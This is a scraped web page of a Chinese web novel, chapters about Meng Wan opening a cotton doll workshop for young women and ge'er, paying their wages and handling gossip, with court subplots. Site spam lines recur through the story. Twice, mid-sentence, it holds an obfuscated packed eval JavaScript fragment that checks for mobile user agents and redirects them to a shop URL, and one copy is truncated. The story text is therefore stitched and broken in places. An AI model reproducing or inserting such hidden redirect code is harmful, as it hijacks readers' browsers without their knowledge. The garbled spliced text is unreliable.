人牙子仿佛在看见成箱的银子在朝着自己招手,他连声答应下来,听孟晚提到棉坊,想到家里的还没嫁人的闺女,那真是一咬牙,一跺脚,“那个……孟夫郎,听说你们棉坊之前招人,我有个闺女在家闲着也是闲着,不若也过去忙活忙活?” 盛京里的人牙子多了,他也是因为帮孟晚买过沐泉庄,办事还算稳妥,这次孟晚才又找他来,唯恐他暂且找不到合适的宅子,这个财神爷被旁的牙子笼络了去,这才提出让自家姑娘在孟晚面前露脸。 他本意是想讨好孟晚,豁出来自家的黄花大闺女,没承想孟晚脚步一顿,“闺女?会识字吗?” 人牙子一愣,下意识答道:“跟她哥学过些三字经、百家姓。” 孟晚随口说道:“棉坊前院缺个管 听说看这本书的人都是很幸运的,分享后你的运气会更棒 仓库的,明早让你家女娘过去试试吧。 “管仓库? 人牙子心想这算是个什么活计?但接触高官夫郎的机会就在眼前,孟夫郎好歹不像那些眼睛长在头顶的夫人、夫郎们,把他们这样的贱籍踩在泥里对待…… 想起那些下人婆子狗眼看人低的样儿,人牙子当场就应了下来,回家就通知闺女明早去棉坊上工。 “我不去!什么棉坊,她们都说不是正经地方。 人牙子的女儿当场耍开了,坐在暖烘烘的炕上撒泼,“哪儿有你这样的?旁人都避之不及,你还上杆子把我往火坑里推! 人牙子媳妇也跟着说:“咱们周边都传邪乎,说是里头都是女娘小哥儿,个个都是花一样的年纪,只有几个岁数大的,谁家好姑娘去那里做工?还不如让眉娘去绣坊干活。 人牙子手指戳到女儿头上,恨铁不成钢地说:“就她那笨手,还绣坊呢,普通绣娘一月月钱才几个铜板?人家孟夫郎的棉坊每月一两银子的月钱,说是还可在家休息六天。 “怎么这么多?若刚才只是怀疑,听到棉坊月钱,人牙子媳妇就更确定石见棉坊不是正经工坊了。 她规劝丈夫,“咱们家也不差眉娘挣这么三文两文的,家里也不是吃不上饭,谁家把闺女生生推出去做活的? “你懂个屁!人牙子怒骂,“我都在贵人跟前说得好好的了,明早她不去也得去! 人牙子在家说一不二,撂下话就出了门,她闺女对着窗户哭喊道:“你就是为了讨好贵人,把你闺女送出去做人情!娘,我爹怎么能这样啊!眉娘抱着她娘哭嚎。 人牙子心疼女儿,却不敢拦,“要不……要不就去看看? —— 第二天一早人牙子特意给眉娘买了一身玫红色的新袄裙哄闺女。眉娘一看,更觉得她爹是要把自己给卖了,悲从心来,早饭都吃不进去了,饿着肚子被送到了棉坊。 他们来得早,棉坊这会儿还没开工,不过大门是开了的。有三五个女娘和小哥儿结伴往里走,也是才来上工没几天,边走边小声说着话,对旁人的目光很是敏感,见眉娘和人牙子在门口,红着脸快步跑进了棉坊里。 因着盛京规矩多,为了保护里头女娘小哥儿的名声,棉坊里是不让男子进入的,人牙子跟门口一位三十多岁的妇人客客气气地说了两句话,便将女 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 儿交到了人家手上。 眉娘心中忐忑眼睁睁地看着她爹头也不回地走了差点当场就哭出来。 “你爹说你会识字?”妇人问眉娘。 眉娘憋回眼泪看着妇人脸上浅褐色的疤痕有些害怕她喏喏地说:“家里哥哥在私塾读书跟着他认了些字。”做牙行买卖的是经官府批准领取过牙帖的虽然受人鄙夷却是正经良籍家里也算小富了。 见识过人家官员和秀才相公们的清贵 盈娘见她有些被吓到了顿了一下柔下嗓音说道:“不错你跟我来吧先去库房熟悉下账目。这会儿咱们人手不够进的货也少账目就那么几笔。” 她也是近两天才到的因为得孟晚信任所以暂时顶着账房的事后头那些绣娘也归她管。 这回招来了眉娘她先带上两天便能安心管后头的事了。 “孟夫郎的棉坊竟然真的全都招收女娘小哥儿?” 顾枳茹自从上次被孟晚带来棉坊一次已经好久没来过棉坊了这回一来里头早就不是之前空荡荡的模样。虽然工人很少但大家各司其职大部分是师傅一样的领头管事在耐心地教他们怎么做活。 孟晚这次也是抽空带她过来。“我既然话都说出去了自然会办到。如今还有一批人没到不然会更加热闹。” 棉坊孟晚没准备开办的多大只是给义学的小孩们多一条出路罢了。毕竟比起条件不错的西梧府北地的孩子条件更加窘迫。松韵学院那样培养全才的学院女娘小哥儿出来大部分都能单独开店了。 “好不好奇她们都在做什么?走我带你进去看看。” 棉坊的制造很简单义学收棉花上来去掉棉花籽之后运输到棉坊来棉坊里的工人晾晒过后装进缝制好的娃娃里暂时就是这么个简单的模式。 几车棉花在棉坊门前被卸下车棉坊里的所有小工都出来搬运棉花柔娘一边和运送棉花的工人交涉一边教着新带的小徒弟。 “孟东家您来了。”她看见孟晚快步走了过来还不忘介绍身边穿玫红色袄裙的小姑娘。“这是新来的账房叫眉娘。眉娘叫人。” 眉娘听到孟这个字知道这便是她爹巴结的贵人心里害怕又紧张头也不敢抬“孟……孟东家。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 孟晚见她也就十四五岁的样子,还是个小姑娘呢,表情柔和下来,唇边泛着笑说:“哦,是古牙子的女儿吧?好好干,如今棉坊刚开始运作,你们都辛苦了,等下月放月钱的时候还会多给你们二百文的辛苦费。 眉娘没想到孟晚这么好说话,心里生出一股莫名的滋味,这座棉坊好像不是她想象中那样的,每个人都在努力干活,就像她阿爹一样能自己挣钱养家。 女娘小哥儿,也能靠自己劳作赚钱吗? 不光眉娘心有所感,孟晚身侧的顾枳茹同样大受震撼。 孟晚走到马车前,拖着一筐棉花问顾枳茹,“茹娘,你可有不便的?若是没有,也过来帮我搬一筐棉花吧? 顾枳茹从来没有做过重活,她那一双手白白嫩嫩,连针线女红都没怎么做过。 “小姐,你怎么能干这种粗活?青萝在一旁劝说。 顾枳茹本来还在犹豫,青萝这么一说她反而想通了,“孟夫郎是一品诰命,他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766070|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干得,我怎么干不得?你也去帮帮别人,咱们也没白来一趟。 顾枳茹说话间已经快步走了过去,学着孟晚那样抓住大筐的一边,帮他搬棉花。 “这棉坊还真是正经做活的地方啊?凶宅上头办工坊,这东家莫不是个冤大头? “那一筐筐的都是什么东西? “什么东西看不出来?棉花啊! “棉坊做棉花,也是正理。 “那两个穿得怎么和别人不一样?是棉坊里的主子? “穿得一身富贵竟然当街做活? “有一个还是未婚的姑娘呢! “哎哟,真是世风日下啊! 顾枳茹起身的动作一顿,满面羞红,连眼角都染上了赤色,她提着大筐不敢那样姿势怪异的走路,停在原地那些难堪的声音又一个劲儿的往耳朵里钻。 孟晚头也没回,脚步依旧稳健,“蚩羽,看见那两个散布谣言毁人名节的人没?提去顺天府让宋大人判他们个**。 “好嘞夫郎。蚩羽揉了揉手腕子,身体左摇右晃的摆动两下,姿态动作不像是个正经小哥儿,反而像是地痞流氓。 顾枳茹看了他一眼,又看了看那些因为别人言语同她一样羞愤到不知所措的女娘、小哥儿,最后视线落在孟晚高挑的背影上。 你的朋友正在书荒,快去帮帮他吧 她洁白的齿贝死咬下唇,缓缓挪动步子,抬起的第一条腿好似重负千钧。但意外的是,第一步踏下之后,第二步、第三步……突然就容易得多了。 顾枳茹挺直腰背,面上的红虽然还没完全褪去,神色却逐渐平静下来。 进了工坊后,孟晚正倚在库房的门前,笑着看她——以及她后面。 那群小哥儿女娘都搬着棉花筐进来了。 孟晚声音清朗,一字一句地说:“救寒莫如重裘,止谤莫如自修。对付那些不中听的流言,最好的办法从来都不是躲避,而是击碎。” 大道理说完,他又补充一句实在的话:“等下月结了月钱回家,给自己和家人添置了东西,锅里飘着肉香,衣裳穿得崭新。你们不比那些男人挣得少,反而远超他们。到那时,谁还敢瞧不起你们?” 想到自己也能撑起家来,几个小哥儿女娘呼吸都急促了几分。 “东家,真的给我们一月开一两银子吗?我们……我们也不会做些什么啊?”有个小哥儿忐忑地问,他也是实在,既怀疑自己得不到那么多的月钱,又担心真给了自己配不上。 孟晚豪气地说:“你们一两的月钱只是刚开头,等往后熟练了,我再给你们涨,只要不是偷奸耍滑,都在棉坊里好好做活,这些就是你们该得的,安心。” 哪里都不缺穷苦人家,这群哥儿女娘到底年纪小,或是家里有难处,或是和亲人赌气,这会儿硬着头皮做了几天工,心里还是没底的。 等过几天义学的大孩子们来了,再加上下月开了工钱,她们便会立即体会到自己挣钱的成就感。 顾枳茹在一旁安静地听着,听孟晚如何动员棉坊的工人。她真的很喜欢和孟晚相处,那是和寻常世家女待在一处时不一样的感觉。 孟晚处理事情的时候也不避着她,甚至是有意带她过来。两人走到正院的晒粮场,入库记录过的棉花要搬出一些拿过来晾晒,那些小哥儿已经一心只有眼前的活计了。 “孟夫郎,你……我大约猜到你的用意了,是为了帮助这些女娘小哥儿吗?可京城里的布庄都有专门的进货渠道,你这些棉花要卖给谁呢?”顾枳茹担忧地问。 “我自有我自己的法子,棉坊也不是你想的卖棉花。” 孟晚没有自负自傲,他做哪个买卖都会先做好亏空的准备,觉得自己尚能承受才会放手去做。 棉坊用的自家宅子,本身的租金是没有的,棉花今年是买的,明年就能用他自己家地的了。再者棉花不同于别的东西,成本在孟晚一种买卖中算是极少的了,又方便运输,制作工艺不复杂,种种算下来,在孟晚这里是九牛一毛的成本。 孟晚笑着看她,“茹娘,我带你赚钱怎么样?男人哪有赚钱要紧。” 第76章 小草 相交这么久,孟晚还是头一次委婉地提到茹娘亲事。 顾枳茹眼神黯淡几分,“我这样的家世,束缚才更多,有时候在外的一言一行,和谁交好,都是要看家里的意思。 她说完忽然意识到自己这句话有歧义,慌忙道:“跟你……我不是…… “我知道。孟晚的声音温柔而又坚定,“你忘了我刚才说的话了吗?救寒莫如重裘,止谤莫如自修。茹娘,你也知道你的家世,会受到很多摆布,有些时候,很多事都由不得你们自己做主。不光是你,连我也是,可在这些条条框框之内,仍然可以活得肆意。 他的话很深奥,似乎还带着什么隐秘的提醒,顾枳茹似懂非懂,又觉得后脊泛起凉气。 孟晚见她脸色不好,安抚性地笑了笑,“大人的事有大人解决,你只要过好自己的小日子就行了,我说问你对赚钱感不感兴趣,你怎么说? 顾枳茹被他的话带着走,本来矜贵的官家小姐这会儿和刚才忐忑不安的哥儿女娘倒是有些相似,她颇为局促地问:“我吗?我不懂怎么做生意。 孟晚:“没关系,有人享受赚钱的过程,有人不想让自己变得市井,大家各自有各自的生活姿态,我也没有要逼你和我做买卖的意思。 其实他身边的朋友里,聂知遥是最合适的合伙人,他玲珑心思,有商人的头脑和胆魄,又不过分张扬,能屈能伸的。性子和孟晚最像,孟晚称他为知己。 孟晚在盛京统共也没待太久,很多事要等聂知遥回来再细细商量。 “那您问我赚钱是…… 孟晚先夸了一句,“你画画很灵巧。 他自己是写实派,可能是因为心眼多,脑子都被各种杂事占据了,导致他创造力其实很薄弱。但顾枳茹就不是那样,孟晚指点过她一点,发现她画画很有灵气,可能和天赋有关,也可能和从小接受艺术熏陶有关。 “棉坊要做娃娃,需要各种图纸,嗯……可爱一点的样子,然后工人们会根据那些图纸的样子剪裁和缝制,复杂些的还要用上刺绣工艺。孟晚口中说着棉坊的后续,顾枳茹这才知道棉坊原来是要做“娃娃的。 但“娃娃是什么? 顾枳茹没听说过,孟晚便同她解释是和娟人类似的东西,但是不用像娟人那样拟人,比如眼睛可以更大点,姿态 听说看这本书的人都是很幸运的,分享后你的运气会更棒 更可爱一些等。 明年又是蛇年,孟晚重操旧业画了几张Q版蛇图供棉坊打烊,这会儿大家还没开工,便让顾枳茹先看看图纸,大致明白孟晚说的“娃娃是什么意思。 两人在棉坊里待到晌午才往外走准备各回各家。 棉坊曾经是边家旧宅,离顺天府很近,蚩羽将几个嘴碎的人提到顺天府去让陶十一他们几个给吓唬了一顿,再回来这片的人都作鸟兽散了。 经过这么一出,短时间内应该没有不长眼的人再在棉坊门口指指点点地说闲话了。 蚩羽坐在车辕上拿他的弹弓打鸟玩,另一道身形颀长的身影背对着棉坊大门在看石碑后面的小字,上头刻着石见棉坊的创办时间和名字由来。 ……爱子宋砚,是宋亭舟亲自书写上去的。 “大晌午的你怎么来了?孟晚真是能在各种地点刷到他男人。 宋亭舟缓缓转身,语调平淡,“听蚩羽说你在棉坊,过来找你。 平平常常的一句话,半点也不觉得自己腻歪。 两人此等相处模式都已经习惯了,孟晚问道:“午后衙门还有事吗? “顺天府都是杂事,交给底下通判即可,但一会儿要去刑部和都察院一趟。宋亭舟这些天忙得脚不沾地,已经很久没有休沐过了,早上起得又早,也就是晚上才有空和孟晚待上一会儿。 这会儿回家也是耽误时间,孟晚知道他忙完手里的事过来找自己,定是还没吃午饭,便道:“那你等我先把茹娘送上车,咱们去附近的酒楼吃饭。 顾枳茹本来在一旁都不敢出声,听孟晚这么说忙道:“不用不用,家里马车就在这里,丫鬟也都在车上等我,茹娘自行上车即可。 “那你上车吧,我叫蚩羽送你到顾家。 孟晚实在体贴,顾枳茹心下一暖,只好却之不恭。 蚩羽跟她上了顾家的马车,顾枳茹忍了小会儿还是没忍住撩开一点帘子看孟晚和宋亭舟相偕的背影。 两人一高一低,分外和谐。一个穿着银白色的斗篷,时不时侧过身露出一张莹白的脸来对身边的人说话,另一人身着绯色官袍,紧紧拉着对方的手,安静倾听夫郎的话,偶尔附和两句。 哪怕离得远了,还是能看出那两道身影挨得极近。 你的朋友正在书荒,快去帮帮他吧 看得顾枳茹有些脸热又很是羡慕她对着蚩羽欲言又止很想问问他什么但心知打探人家私密的事不像样子反倒是蚩羽见她看向后面主动提及。 “大人但凡有空就会去接夫郎以前我们在岭南的时候就是这样。” 这方面雪生比蚩羽更有发言权可惜这会儿他还在岭南充当楚辞长辈。 “啊?是……是吗。”顾枳茹喃喃道:“孟夫郎与宋大人恩爱和睦令人称羡。” “小姐。”侍女青萝担忧地望着她还以为她触景生情想到自己与忠毅侯世子无疾而终的婚事伤神“世上痴情人多了以您的才情除了秦家也还有别的高门。” 顾枳茹虽然被蹉跎了几年这会儿年龄比适龄的女娘大。但她才情出众退亲也是秦艽的混蛋大家有目共睹高门官员之中还是有人求娶的只不过顾枳茹自觉自己受了**一直过不去这个坎所以才一蹶不振 蚩羽很纳闷他张了张嘴寻思秦世子人不错啊。还在岭南和他过过招呢。 外面的马车一阵急停顾枳茹和几个丫鬟差点就摔了还是蚩羽挡在中间扶住了她们。 车夫在外头惊道:“小姐您没事吧?” 青萝怒骂道:“怎么这般**手毛脚的连赶车都赶不好了?惊扰了小姐回去就让管家派你去倒夜香!” 车夫求饶道:“青萝姑娘别生气是前头有个书生走路不长眼睛。” “我倒要看看是哪家的书生!”青萝气呼呼地下了车却好一会儿没回来。 顾枳茹眉头一皱她最讨厌生事随即从袖兜里掏出一个荷包来递给另一个贴身丫鬟“去给了青萝人若没事就使点银子打发了吧别在大街上和人拉扯。” “她们好像是熟人并没有撕扯。”蚩羽扒在车窗那里看热闹。 顾枳茹颇为意外“熟人?”她也掀开窗帘向外看去。 青萝再跟着一个身穿旧袍的男人说话确实是个书生打扮的人青萝一边说话一边还不住地往身后马车望去结果正对上顾枳茹好奇的目光一刹那脸上血色褪尽小脸煞白。 顾枳茹看出不对来她心中略有猜测便撂了帘子。 书生顺着青萝的视线望过去刚好看到一张清冷的脸隐到了车窗里。 你的朋友正在书荒,快去帮帮他吧 “那是谁?你的丫鬟吗?”书生问。 青萝满脸窘迫,“不……不是,总之你先走吧,往后再说。” 她也顾不得书生同意,一扭头眼眶里泪水在打转,上车之后车夫扬鞭。 青萝低头对顾枳茹说:“小姐,人不是有意拦车的,许是不好心跌到路中间了。” 顾枳茹见她不敢抬头的样子,更是坐定了心中猜想。因着有蚩羽在旁边,说得很委婉,“青萝,你从小和我一起长大,比我那些庶出的姐妹还要更亲几分,我早就说了,若是你想嫁人,必定托母亲给你寻一门良婿,放了你的身契,让你体体面面的出嫁。但若是你有什么私心……顾家的规矩你是知道的。” —— 十二月二十二,孟晚和宋亭舟在吴家吃吴馁小朋友的满月宴,“吴馁”这两个字是吴昭远翻烂了四书五经各种诗书后,屏蔽所有给儿子取的名字,希望他长大以后意志坚定,不会因为困境而萎靡不振。 吴馁小朋友还太小,因为生产时有些不顺,夫夫俩欲求孩子平安长大,还专门去寺庙里请僧人给孩子起了个贱名。 “小草啊,吴伯父给你起得这名好啊。”阿砚憋着笑看襁褓里的小弟弟,非常庆幸自己没有小名。 通儿一脸正色,认真地点了点头,“是不错,小草很好听。” “通儿你这叫什么眼光,小草好听吗?”方锦容对儿子审美感到震惊。 孟晚也对方锦容的情商感到绝望,“你在人家面前胡说八道什么?”又顺手捏着阿砚后领, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陛下没批,一是给他台阶,二也是朝中可用之人确实很少,暂且还要用他,等有了得用的人,他不走也得走。 比起工部和吏部来,礼部则是最惨的,年后就要准备会试了,但他们顶头的尚书已经**,下头侍郎还在家丁忧,一衙门连个正经顶事的上官都没有,还不知要如何筹办。 圣上前些天召见过宋亭舟,他这几天手头的事情结束,在刑部那边帮忙忙活完,便要暂任礼部侍郎之责。 说是侍郎,只是因为这个正二品的官职恰当,免得旁人非议宋亭舟升官太快。实则他若去礼部,干的便是一手抓的活。 城外寒风萧瑟,飞雪卷地,往来过客裹衣缩颈,步履维艰。官道上的土被冻得冷硬,遥望前路,雪色连天。 “曾大人,本官就送到这里了,望君珍重。”宋亭舟下马牵绳,如此寒冷呼啸的风,也没让他挺拔的身姿弯下来哪怕一点,灰黑色的大氅将他气质衬得愈发冷峻。 宋亭舟面容算不上温和,下颌线绷得笔直,神情也始终沉稳肃穆,哪怕只是这样站着,也能让人感受到那份不苟言笑的官威。 可就是这样一个看起来不近人情的年轻官员,却是今天唯一一个来送曾仕棋的人。 曾仕棋回望盛京高耸威武的城门,双目中似有热泪,想起曾经因为某些龌龊的原因,还曾威胁过宋亭舟,而对方却不计前嫌的冒着寒风相送,他便满脸愧色,“宋大人是好官,我和尚书大人都听说过你在岭南的作为,听说赫山、西梧、钦州,你每离开一地,都有万民相送。西梧府为您建了德政碑,寻常官员难见一面的万民伞你也收了四把,真是……真是……” 作为一介文官,他竟然说不下去了,不是腹中无墨,而是觉得那些作为平时大家相互吹捧的话,配不上宋亭舟的德行。 “我有私心,比不上你。”曾仕棋声音中带着哽咽,配上他鬓边的白发,竟然让人觉得可怜。 宋亭舟拱了拱手,“是人都有私心,只看对不对得起头上苍天、脚下厚土,与身上的一身官袍。” 曾仕棋身形佝偻地爬上马车,身后是宋亭舟最后一句忠告,“曾大人,回乡后好好找个郎中调理身子吧。” 曾仕棋动作一顿,腿肚子似在微微颤抖。 第77章 发工钱 腊月二十三,小年当天,宋家的下人都在忙着扫房、祭灶王、采办年货等。瓜果、糖、肉都要准备起来。 本来往年的腊月二十三,京都各衙门都要封印停工,官员们开始放年假,不再处理公务,但今年特殊,往后挪了两天,要二十六才放假。 宋亭舟在衙门办公,阿砚跑去和同窗玩,常金花在老家,连雪生和小辞都不在,孟晚头回觉得冷清。 为了不让自己像个空巢老人似的,他跑去棉坊给大家发年货,顺便将上月和这月的工钱都结清了,让大家过个好年。 从家里准备的年货中拉出一车东西来,再叫黄叶点出两箱铜钱,这是前阵子特意从钱庄换的,过年给下人发喜钱用。除此之外,还有孟晚找匠人打的金瓜子、银花生,都是一箱一箱地在库房里备着。 明天就要放长假了,棉坊里的工人都在加班加点地做工,这批货年前就要铺上。 孟晚去的时候大家在收尾,针工房里一筐筐晒晾好的棉花都见了底,做好的娃娃堆成几座“小山”。所有成品娃娃几乎都带着红色元素,简单的花布蛇戴着红帽子,更复杂些的白面娃娃穿着红衣裳、红裙子。 针工房里烧着地龙,大家各自给自己准备了厚厚的蒲团,坐在地上缝制娃娃。布上的花纹是事先绣好的,所以这会儿大家只需要缝制、塞满棉花就好。 账房的眉娘也在帮忙缝制娃娃,只不过她手慢,旁人一刻钟就能缝出来两只,她有时候一只都缝不完。 孟晚进去的时候见大家都在全神贯注地忙活,便没有声张,叫家里的下人在前院卸了车,耐心地等了一会儿。这一等,棉坊的小工们尚且没有做完活计,先等来了聂知遥。 “我就猜你没准不在家,先叫人打听了之后才来找你的。”聂知遥穿了身藕色的棉袍,外罩的皮**是去年的旧皮子,但依旧暖和,他带来的绯哥儿穿着火红色的狐皮斗篷,倒是崭新崭新的。 “小叔叔,谢谢你给我准备的衣裳。”绯哥儿比阿砚大半岁,一年多没见,他个子抽条不少,有了些大孩子的样子,再加上他性子乖巧,行走坐卧自有规矩。 孟晚轻抚他被风吹红的小脸,“不客气,你喜欢就好,一会儿小叔叔再送你一些娃娃玩,想挑几个都行。” 聂知遥挑眉,他打量了一番棉坊里的环境,“你动作倒是快,说办就给办上了,可想好怎么售卖?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “原先是有一点想法,后来又觉得不成,这不是想等你回来听听你的意思吗?你可知道娟人?”孟晚曾写信和他提起过义学和棉坊之间的事。他见了聂知遥,便忍不住将他带到前院会客厅去,与他详细商议起来。 聂知遥从小在盛京长大,聂家又是不差钱的皇商,富贵圈子里的事他都知晓,当即脱口而出:“自然是知道的,娟人精巧,绣娘们最少半个月,最长三个月,才能做出一只娟人来。价格不菲,寻常百姓不会去买娟人,通常都是大户人家的女娘、小哥儿喜欢。绯哥儿也有两只,小时候最爱,这两年兴致就不高了。” 孟晚颇觉扎心,他儿子如今还搂着一堆娃娃睡觉。 “蚩羽,去取几个棉花娃娃来。”孟晚指使蚩羽。 因为临近过年,棉坊这一批娃娃有一大半都以蛇为主。虽然是蛇年,但蛇在人们的刻板印象中可没有兔子、狗、猴子之类的可爱。但棉坊的蛇娃娃眼睛被黑白两色线绣得大大的,身子胖乎乎的,有些还穿着迷你的对襟褂子,上头绣了福字。 还有一半便是模仿娟人做的人形娃娃,一共两种,一种是抱着锦鲤的传统侍女娃娃,出自顾枳茹之手,另一种是孟晚画得Q版小人,圆圆的脸蛋,圆圆的眼睛,小巧的嘴巴,没有鼻子,身上穿着棉布长裙。 两种人形娃娃的衣裳都能穿脱,头发是用黑色丝线做的,又长又黑,虽然没有真发柔顺纤细,却也甚为别致。 “呀!好可爱。”绯哥儿惊呼,却没有上手去摸,只是凑到旁边去看。 “拿去玩,小叔叔送你的。”孟晚直接将三种娃娃各塞给他一个,让绯哥儿拿着玩。 绯哥儿却只挑了个较为稀奇的Q版娃娃,“小叔,我要一个就好了。” 孟晚:“……”又是为别人乖巧听话的孩子,所感动的一天。 聂知遥把娃娃放在手里揉捏,稍作思索:“你这东西做得真是精巧,但只占个稀奇,若论精秀,比不得娟人。而且最要紧的是,你是要大批量地缝制……” 娟人之所以受贵族女娘追捧,便是因为稀奇。东西少,卖得贵,才够得上她们的身份。东西不稀有了,兴致也就不高了。 这些话聂知遥就是不说出来,孟晚也懂。 “娃娃从一开始,我就没想让它追赶娟人,两者走得不是一条路子,你可知这棉花娃娃的成本多少?”孟晚问道。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 聂知遥捏着手中的人形娃娃:“体积小棉花用得不多布料用的是精软细棉应当比普通细棉布贵上两百文六百文一匹。从这娃娃的大小看一匹能做四十个左右。” 孟晚点头说了个准确的数字:“四十三个一个约莫十四文的布料。剪裁、刺绣、缝制她们的月钱暂且都是一样的一两银子一月缝制每人日产六十个左右每个娃娃小工成本不到一文钱。” “那这便有十七文左右了。上头的刺绣不多寻常绣娘便可针线耗费也不多加上小工的月钱、做头发的丝线和损耗等一个娃娃……成本大致二十文?”聂知遥算完之后自己都惊讶了他再次将精巧的小娃娃捏在手里终于知道孟晚的自信源自何处。 二十文一只?能做能大做一番! 孟晚理所当然地嘱咐聂知遥:“你这两日帮我看看店面选址若是找不到便暂且在工坊这边卖或者批给小贩。” “你自己完全可以打理棉坊真的要分我一杯羹?”对于这明显稳赚不赔的买卖虽然孟晚在信中已经和他提及过了聂知遥还是没忍住又问了一遍。 估摸着后头也快完工了孟晚站起来很没形象的伸了个懒腰“棉坊本来就只是我为了义学的那些孩子找的出路驿站那边就已经够我忙活了我不是神没长八只手、六个脑袋贪多嚼不烂。” 不论什么时候和孟晚谈话聂知遥都十分佩服他清醒理智的姿态“既然你信任我那我这就去着手打听了。” 京中也不都是困于后宅的夫人夫郎有本事的不在少数聂知遥自小在盛京长大很多小道内幕比孟晚知道得多也更知道要怎么在盛京撕开一道小口来曾经或是不敢作为如今不管是孟晚还是他背后都有了仪仗。 “来来来都过来 本来谈好的是每月初十发上月的工钱为了让这些才上工还不到两个月的小工们过年回家更有底气便往后拖了十来天也和人解释过了。 义学的孩子这会儿还没来应该是路不好走耽搁了年后才能到。当下棉坊里不算盈娘共七个女娘、四个小哥儿。比起还有余地可以嫁人的女娘小哥儿更能豁得出去。 针工房里已经收拾干净了盛放棉花的筐干干净净的摞在角落里这两月用的碎布头收集起来两筐做好的娃娃都被送进仓库里这会儿大家都安安静静地站在屋子 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 里等着发月钱,眼神激动又忐忑。 蚩羽把盛放铜板的箱子往地上一堆,开了箱子后里面都是串成一串的铜钱。 “眉娘,来,你过来念名单。 眉娘小脸一红,站出来接过孟晚手里的账本,上面都是一样样记录好的。 她清了清嗓子,“言哥儿,上工一月二十三天,工钱工一贯零七百八十二文。 言哥儿是棉坊招人后第一个上门应招的,在这儿干得时间越久,反而越踏实,这会儿他激动地走向前去。 孟晚自己拿了个小凳子,就坐在钱箱后面,亲自从里面挑出两串铜板,又从箱底捡出两个小串的,和八十二个散铜板,一并递给他。 言哥儿不敢接着,“东家,我是一贯并七百八十二文,您这……好像给多了。 孟晚眉眼一弯,将沉甸甸的铜钱挂在他手腕上,“说了咱们年前人少,你们都辛苦了,每人多发五百文的辛苦钱,一共两贯零二百八十二文,点点看对不对。 “不……不用点了,谢谢东家,给……给您拜个早年。言哥儿激动得都有点语无伦次了, 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听说和异性朋友讨论本书情节的,很容易发展成恋人哦 羽驾车送你们回家,都回去安心过个好年,年后初八再回来上工。” “谢谢东家!”眉娘嗓门最大,带着少女娇憨烂漫的活力,格外讨喜。 她家离棉坊最近,马车停到她家巷子门口,她揣着铜钱大声嚷嚷,“爹、娘,快出来帮我搬东西!” 一嗓子将左邻右舍都喊了出来,见停在她身边的板车上堆着鸡鸭猪肉块,均都新奇,“古家怎么买这么老些鸡鸭?年货也不必备这么多吧?” 人牙子和儿子今天也在家,蚩羽见古家出来人,从板车上取下来一条肉交给人牙子,又取了鸡鸭各一只递给他儿子,交代了一句:“都是东家给工人发的年货,眉娘是账房,比别人早一天去上工,初七就得到。” 孟晚特意让蚩羽去,交代他每送一个都故意说上两句,就是堵住那些胡乱猜测的邻里嘴巴。 蚩羽说完就走,眉娘的哥哥都听愣了:他妹真成工坊账房了?还正经收了年货回来?比起还在念私塾的哥哥,这个家反倒是妹妹先成人了? “爹!你快帮我拿着点,我这工钱太坠人了,拿着手疼。”眉娘神气地使唤古牙子。 古牙子看她这嘚瑟样就好笑,但闺女挣钱回来是好事,“成,爹给你拿着,晚上给我闺女挣回来的鸡炖了,给你好好补补。” 两大串铜板挂在手腕上,一家子提着年货热热闹闹地回了家,剩下一群看傻眼的邻居。 眉娘家境不错,周围住的人家也都是吃喝不愁,家里做点小买卖的,她们尚且难以置信。 其余如住得偏远,家境不好的言哥儿,上了两月工,回家又是拿钱,又是有人专门给送年货的便更招人眼红了。 “言哥儿,你去那个棉坊年后还招人不?你看我家你二妹能不能也跟你去?”有人直接跑去言哥儿家问。 言哥儿为难地说:“我们东家说年后人就够了,暂且不招新人。” 那人闻着言哥儿家里的肉香味儿,磨蹭着不肯走,“你就帮婶子问问吧,不求挣你这么多,一月八百……五百也成啊!” “张婶,不是你说我哥在外头早出晚归干得是下三滥的活计吗?咋还让你二闺女也去,不怕她叫我哥卖了啊?”言哥儿妹妹从厨房跑出来,叉着腰对邻居大婶不客气地说。 “你这丫头,婶什么时候这么说你哥了?”张婶被个小丫头戳破面皮,闹了个没脸,也不好意思再待下去,只是临走的时候还不死心,“言哥儿,你别忘了啊!等回去的时候记得和管事的提提你二妹。” “让让,扫地!”言哥儿妹妹提着笤帚扫张婶脚跟。 “这孩子怎么这样的!” 等人出了门,言哥儿妹妹将大门“砰”的一关,小跑着回屋去。 “天天在背后嚼舌根,还当咱们不知道呢!哥,你可别听那老货瞎说,就是棉坊缺人也不让她闺女去!” 房内传来轻咳,“咳咳……言哥儿,你们东家是个好心人,可要好好给人家干活。” “阿爹,我知道的。” 第78章 顾二小姐 聂知遥回来后孟晚轻松不少,正好宋亭舟也终于放了假,他许久没和孟晚单独出去逛逛了,特意请教了曾经的太子太傅、上一任国舅大人、如今的太傅兼吏部尚书——冉大人。 老头最爱游山玩水,见多识广,如今被困在吏部尚书这个位置上本来就郁闷,宋亭舟问他,他便颇为惆怅地说:“盛京这样的地方,被尘世凡俗所侵扰,若说什么还算有灵气的地方,也就是报国寺的梅林吧,当年我就是在那里捡到了小四。” ……某个被他捡回家去的小孩。 说起来他也想去报国寺赏一赏梅景,静一静心了。 